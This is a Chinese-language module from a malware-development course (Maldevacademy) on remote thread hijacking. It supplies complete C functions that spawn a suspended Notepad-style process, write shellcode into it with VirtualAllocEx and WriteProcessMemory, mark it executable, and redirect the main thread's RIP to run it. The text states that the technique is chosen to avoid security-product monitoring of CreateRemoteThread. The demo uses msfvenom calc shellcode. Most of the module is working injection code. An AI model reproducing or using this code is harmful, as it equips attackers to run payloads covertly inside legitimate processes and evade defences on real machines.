跳至主要內容

36-线程劫持 - 远程线程创建

Maldevacademy大约 6 分钟安全开发

导言

在前一个模块中,我们演示了如何在本地进程中劫持线程,方法是创建一个挂起的牺牲线程来运行一个良性的虚拟函数,并利用其句柄来执行有效负载。此模块将演示针对远程进程(而不是本地进程)使用相同技术。

此模块中另一个显着差异是,不会在远程进程中创建牺牲线程。虽然这可以通过 CreateRemoteThread WinAPI 调用来完成,但这是一个经常被滥用的函数,因此受到安全解决方案的高度监控。

更好的方法是使用 CreateProcessopen in new window 在挂起状态中创建一个牺牲进程,这将以挂起状态创建其所有线程,从而允许它们被劫持。

远程线程劫持步骤

本部分介绍在远程进程常驻线程上执行线程劫持的必要步骤。

CreateProcess WinAPI

CreateProcess 是一款强大且重要的 WinAPI 函数,拥有多种用途。为了确保用户对此函数有深入的了解,此处介绍该函数的重要参数。

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
  • lpApplicationNamelpCommandLine 参数分别表示进程名称及其命令行参数。例如,lpApplicationName 可以是 C:\Windows\System32\cmd.exe,而 lpCommandLine 可以是 /k whoami。或者,lpApplicationName 可以设置为 NULL,但 lpCommandLine 可以包含进程名称及其参数,例如 C:\Windows\System32\cmd.exe /k whoami。这两个参数均标记为可选,这意味着新创建的进程不必有任何参数。

  • dwCreationFlags 是控制优先级类和进程创建的参数。此参数的可能值可以在 此处open in new window 找到。例如,使用 CREATE_SUSPENDED 标志可以在挂起状态下创建进程。

  • lpStartupInfo 是指向 STARTUPINFOopen in new window 的指针,其中包含与进程创建相关的信息。唯一需要填充的元素是 DWORD cb,它是结构体的字节大小。

  • lpProcessInformation 是一个输出参数,它返回一个 PROCESS_INFORMATIONopen in new window 结构。PROCESS_INFORMATION 结构如下所示。

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;        // 新创建的进程的句柄。
  HANDLE hThread;         // 新创建的进程的主线程的句柄。
  DWORD  dwProcessId;     // 进程 ID
  DWORD  dwThreadId;      // 主线程的 ID    
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

使用环境变量

创建进程的最后一个环节就是要确定进程的完整路径。牺牲进程将会从驻留在 System32 目录中的一个二进制文件创建。直接假设该路径是 C:\Windows\System32 并且硬编码该值是可行的,但对该路径进行编程验证总是更加安全。若要验证,将使用 GetEnvironmentVariableAopen in new window WinAPI。GetEnvironmentVariableA 检索指定环境变量的值,在本例中是“WINDIR”。

WINDIR 是一个指向 Windows 操作系统安装目录的环境变量。在大多数系统上,该目录是“C:\Windows”。可以通过在命令提示符中键入“echo %WINDIR%”或直接在文件资源管理器搜索栏中键入 %WINDIR% 来访问 WINDIR 环境变量的值。

DWORD GetEnvironmentVariableA(
  [in, optional]  LPCSTR lpName,
  [out, optional] LPSTR  lpBuffer,
  [in]            DWORD  nSize
);

创建牺牲进程函数

CreateSuspendedProcess 用于以挂起状态创建牺牲进程。它需要 4 个参数:

  • lpProcessName - 要创建的进程名称。

  • dwProcessId - 指向接收进程 ID 的 DWORD 指针。

  • hProcess - 指向接收进程句柄的句柄指针。

  • hThread - 指向接收线程句柄的句柄指针。

BOOL CreateSuspendedProcess (IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR				    lpPath          [MAX_PATH * 2];
	CHAR				    WnDr            [MAX_PATH];

	STARTUPINFO			    Si              = { 0 };
	PROCESS_INFORMATION		Pi              = { 0 };

	// 通过将成员值设置为 0 来清除结构
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// 设置结构的大小
	Si.cb = sizeof(STARTUPINFO);

	// 获取 %WINDIR% 环境变量的值
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA 失败,错误为:%d \n", GetLastError());
		return FALSE;
	}

	// 创建完整的目标进程路径
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] 正在运行:\"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,					// 无模块名(使用命令行)
		lpPath,					// 命令行
		NULL,					// 进程句柄不可继承
		NULL,					// 线程句柄不可继承
		FALSE,					// 将句柄继承设置为 FALSE
		CREATE_SUSPENDED,		// 创建标志
		NULL,					// 使用父进程的环境块
		NULL,					// 使用父进程的启动目录
		&Si,					// 指向 STARTUPINFO 结构的指针
		&Pi)) {					// 指向 PROCESS_INFORMATION 结构的指针

		printf("[!] CreateProcessA 失败,错误为:%d \n", GetLastError());
		return FALSE;
	}

	printf("[+] 完成 \n");

	// 使用 CreateProcessA 的输出填充 OUT 参数
	*dwProcessId    = Pi.dwProcessId;
	*hProcess       = Pi.hProcess;
	*hThread        = Pi.hThread;
	
	// 执行检查以验证我们是否拥有所需的一切
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;
}

远程进程函数注入

在创建目标进程后,下一步是使用进程注入-Shellcode 初学者模块中的 InjectShellcodeToRemoteProcess 函数注入有效载荷。有效载荷仅写入远程进程,而不执行。然后通过线程劫持存储基本地址以供以后使用。

BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {


	SIZE_T  sNumberOfBytesWritten    = NULL;
	DWORD   dwOldProtection          = NULL;


	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);


	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	return TRUE;
}

远程线程劫持函数

在创建挂起进程并将有效负载写入远程进程后,最后一步是使用由 CreateSuspendedProcess 返回的线程句柄来执行线程劫持。这一部分与在本地线程劫持模块中演示的内容相同。

回顾一下,GetThreadContext 用于检索线程的上下文,更新 RIP 寄存器以指向编写的有效负载,调用 SetThreadContext 以更新线程的上下文,最后使用 ResumeThread 执行有效负载。所有这些都在下面的自定义函数 HijackThread 中进行了演示,它接受两个参数:

  • hThread - 要劫持的线程。

  • pAddress - 要执行的有效负载的基址指针。

BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

    CONTEXT ThreadCtx = {
        .ContextFlags = CONTEXT_CONTROL
    };

    // 获取原始线程上下文
    if (!GetThreadContext(hThread, &ThreadCtx)) {
        printf("\n\t[!] GetThreadContext 失败,错误代码:%d \n", GetLastError());
        return FALSE;
    }

    // 将下一条指令指针更新为我们的 shellcode 地址
    ThreadCtx.Rip = pAddress;
  
    // 设置新的已更新线程上下文
    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("\n\t[!] SetThreadContext 失败,错误代码:%d \n", GetLastError());
        return FALSE;
    }

    // 恢复挂起的线程,从而运行我们的有效负载
    ResumeThread(hThread);
    
    WaitForSingleObject(hThread, INFINITE);
    
    return TRUE;
}

总结

本模块介绍的内容快速回顾:

  1. 使用 CreateProcessA 创建了一个处于挂起状态的新进程,并创建了同样处于挂起状态的所有线程。

  2. 使用 VirtualAllocExWriteProcessMemory 将有效载荷注入到新创建的进程中,但并未执行。

  3. 使用 CreateProcessA 返回的线程句柄通过线程劫持执行有效载荷。

演示

此演示使用 Notepad.exe 作为牺牲进程,劫持其线程并执行 Msfvenom calc shellcode。

image
image
  • shellcode:一段包含可执行指令的代码,通常用于创建反向 shell 或执行其他恶意操作。
  • Msfvenom:一个 Metasploit 框架中用来生成 shellcode 和漏洞利用代码的工具。